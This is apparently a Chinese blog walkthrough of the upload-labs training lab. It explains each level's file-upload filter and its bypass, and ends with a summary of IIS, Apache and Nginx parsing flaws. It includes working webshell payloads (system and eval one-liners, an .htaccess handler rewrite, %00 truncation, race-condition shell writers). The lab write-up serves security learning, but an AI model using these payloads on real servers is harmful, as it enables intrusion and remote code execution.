閒來無聊,把upload-labs所有的關卡都刷一遍,就當複習一下文件上傳漏洞的各種繞過技巧吧,做完一關再看看源代碼提高一下審計能力挺好的
Pass-01
一個前端檢測,可以禁用js,也可以直接抓包就可以繞過上傳
訪問成功
Pass-02
Content-Type繞過,直接把Content-Type改爲圖片類型即可
上傳成功
Pass-03
這一關是另類的文件名的繞過,可以嘗試phtml,php3,php4, php5, pht後綴名都可以繞過,但是前提是要在配置文件裏面有這樣的一句話
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
成功回顯
源碼裏面直接用的黑名單。。
$deny_ext = array('.asp','.aspx','.php','.jsp');
當然還有第二種方法
就是上傳.htaccess
,實現重寫文件解析,同樣這樣的前提也是得在配置文件裏面有這樣的一句話
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
Pass-04
上面的方法已經不行了,可以看一下他過濾的名單
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
比剛纔的黑名單多了不少,但是.htaccess
還是沒有過濾,可以重寫文件解析規則繞過,上傳一個.htaccess
,文件內容如下,就是在upload目錄下匹配gg.jpg的文件並以php文件執行
<FilesMatch "gg.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然後再上傳一個名字爲gg.jpg的腳本
然後訪問成功執行
Pass-05
這一題裏面多過濾了.htaccess
,如何繞過呢?
對比一下代碼可以知道,可以使用大小寫繞過,因爲這裏把原來轉換成小寫的那一部分給刪掉了
Pass-06
這一關比第五關少了這樣的一句代碼
$file_ext = trim($file_ext); //首尾去空
所以可以後綴名+空格的形式去繞過
Pass-07
對比第6題的代碼可以發現少了下面一句代碼
$file_name = deldot($file_name);//刪除文件名末尾的點
既然沒有對文件最後的點做過濾,可以嘗試以後綴名加上點的形式去繞過
Pass-08
這一題的代碼比上一次少了下面這一段代碼
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
這個是關於windows下文件的流特性,可以參考一下這篇文章
https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream
這樣一來就是說這東西應該只能在Windows下運行了
Pass-09
這一關像是前幾關的組合拳,雖然把最後的點給刪掉,但是仍然可以繞過,因爲這裏的過濾並沒有遞歸下去,只是一步,這樣就相當於SQL注入裏面用str_replace只過濾一次關鍵字一樣
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換爲小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
可以遵循着他的步驟去實現自己的payload,可以這樣設置
4.php. .
這樣一來檢測到最後的文件名是4.php.
這樣就相當於第七關了
Pass-10
關鍵過濾的代碼就這兩句
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
跟我上一關講的SQL注入的類型差不多,就是雙寫繞過
4.pphphp
Pass-11
關鍵的代碼在於這裏的’save_path’是一個可控的變量,但是後面還拼接上一個後綴名,也需要繞過
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
這個時候可以使用%00截斷,但這東西有點過氣了,因爲需要兩個條件
- php版本小於5.3.4
- php的magic_quotes_gpc爲OFF狀態
如果要完成這一個題目就必須要實現上面的兩個條件,但是現在都PHP7了,這東西也就很少見了,滿足上面的條件的時候php就是把它當成結束符,後面的數據直接忽略,這也導致了很多的問題,文件包含也可以利用這一點
所以如果要繞過,我們可以這樣去實現,另save_path等於下面的值
../upload/4.php%00
Pass-12
這裏的源代碼就改了一點點,就是把get改爲post類型,一樣的方式繞過,只不過這裏需要在二進制裏面修改%00,因爲post不會像get對%00進行自動解碼。
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
Pass-13
從這一關開始要求上傳圖片馬,但是沒有辦法直接執行圖片馬,需要另外的方法去實現一般是加上php僞協議去getshell,常見的有phar,zip等等
如果想要看到詳細的效果可以寫一下簡單的腳本放在upload目錄下即可,
<?php
@include $_GET[file];
?>
最最最簡單的圖片馬直接一條命令即可生成
copy normal.jpg /b + shell.php /a webshell.jpg
上傳一個圖片馬,內容如下,可以看到裏面有腳本語言
把該圖片上傳上去,嘗試文件包含,成功回顯
這裏可以發現源代碼只是用了unpack這一個函數去實現對於php前兩個字節的檢測,也就是隻是對文件頭做檢測。。。
$bin = fread($file, 2); //只讀2字節
fclose($file);
$strInfo = @unpack("C2chars", $bin);
Pass-14
類似上一個題目,獲取了圖片的相關的大小及類型,並驗證是否時刻上傳的圖片,同樣可以使用文件頭的方式繞過
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
說明info[2]是一個文件的類型,同樣的方法也是可以繞過的
Pass-15
換了一個獲取圖片信息的函數
//需要開啓php_exif模塊
$image_type = exif_imagetype($filename);
跟pass-13一樣的繞過方法
Pass-16
這一關對後綴名和文件類型啥的都進行了很嚴格的控制,而且在後面還對圖片進行了二次編譯
//使用上傳的圖片生成新的圖片
$im = imagecreatefromjpeg($target_path);
這一個題目跟上次校賽的題目思路一致,尋找圖片被渲染後與原始圖片部分對比仍然相同的數據塊部分,將Webshell代碼插在該部分,然後上傳,下載下來後發現這一部分插入代碼的沒變但是其他部分都變了
嘗試文件包含,後面怎麼利用就不多說了
Less-17
這一關是條件競爭的問題,查看源代碼就會發現你需要在緩存文件轉移到別的目錄的時候,趕緊訪問它,這裏可以使用burp去發包,可以把文件內容改成下面這樣
<?php $c=fopen('./cmd.php','w');fwrite($c,'<?php system($_GET["f"]);?>');?>
或者這樣,反正就是爲了寫文件進去就對了
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>
兩個burp跑一跑,就會在該文件夾下面產生新的文件了
訪問成功
Less-18
同樣的也是一個條件競爭的問題,看一下源代碼可以發現這裏使用類去實現相關方法,包括查看文件後綴名,大小等等
這裏面的問題存在於代碼將上傳文件更改名字的時候給了個時間差,讓我們可以去實現這個競爭效果,同樣的方法,不都說
Less-19
這一關正常做法應該是CVE-2015-2348 move_uploaded_file() 00截斷,上傳webshell,同時自定義保存名稱
上傳的文件名用0x00繞過。改成xx.php【二進制00】.x.jpg
但是發現了一種更有意思的解法
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
簡單來說就是move_uploaded_file
底層會調用tsrm_realpath
函數導致,遞歸刪除文件名最後的/.
導致繞過了後綴名檢測,同樣類似的函數還有file_put_content()
,反正打開文件流都會有類似的操作
所以可以這樣子去繞過6.php/.
小結一下
upload-labs裏面的關卡個人感覺只是針對文件上傳這個漏洞去弄的,可以梳理一下,可以根據上面的繞過寫一個fuzz字典XD
- 前端的繞過
- 後綴名,文件類型,文件頭的繞過
- Windows下::$DATA的問題
- 圖片經過二次渲染的繞過
- 根據代碼跳進進行的繞過
- 條件競爭
還有其他的中間件問題導致的解析漏洞沒有展現出來,可能環境配置比較麻煩,想了很久,我怕自己忘了,還是自己總結一下,以後可以拿出來看一下
IIS 6.0
IIS 6.0
解析利用方法有三種:
1.目錄解析
建立xx.asp爲名稱的文件夾
,將asp文件放入,訪問/xx.asp/xx.jpg,其中xx.jpg可以爲任意文件後綴,即可解析
2.文件解析
後綴解析:/xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改文件名)
3.默認解析
IIS6.0 默認的可執行文件除了asp還包含這三種
/xxx.asa
/xxx.cer
/xxx.cdx
/xxx.apsx
IIS 7.0/7.5
在正常圖片URL後添加 /.php,可以解析爲php
Apache
一般都在2.3.x以下版本,但是有時候配置文件的不同也會導致不安全
後綴解析:test.php.x1.x2.x3
Apache將從右至左開始判斷後綴,若x3非可識別後綴,再判斷x2,直到找到可識別後綴爲止,然後將該可識別後綴進解析
test.php.x1.x2.x3則會被解析爲php
最近在出題的時候在apache 2.1.x的版本就可以用test.php.jpg直接就可以getshell了,真尷尬。
Nginx
Nginx <8.03
畸形解析漏洞
直接在正常圖片URL後添加/.php
Nginx <=0.8.37
在Fast-CGI關閉
的情況下,Nginx <=0.8.37 依然存在解析漏洞
在一個文件路徑(/xx.jpg)後面加上%00.php會將 /xx.jpg%00.php 解析爲 php 文件。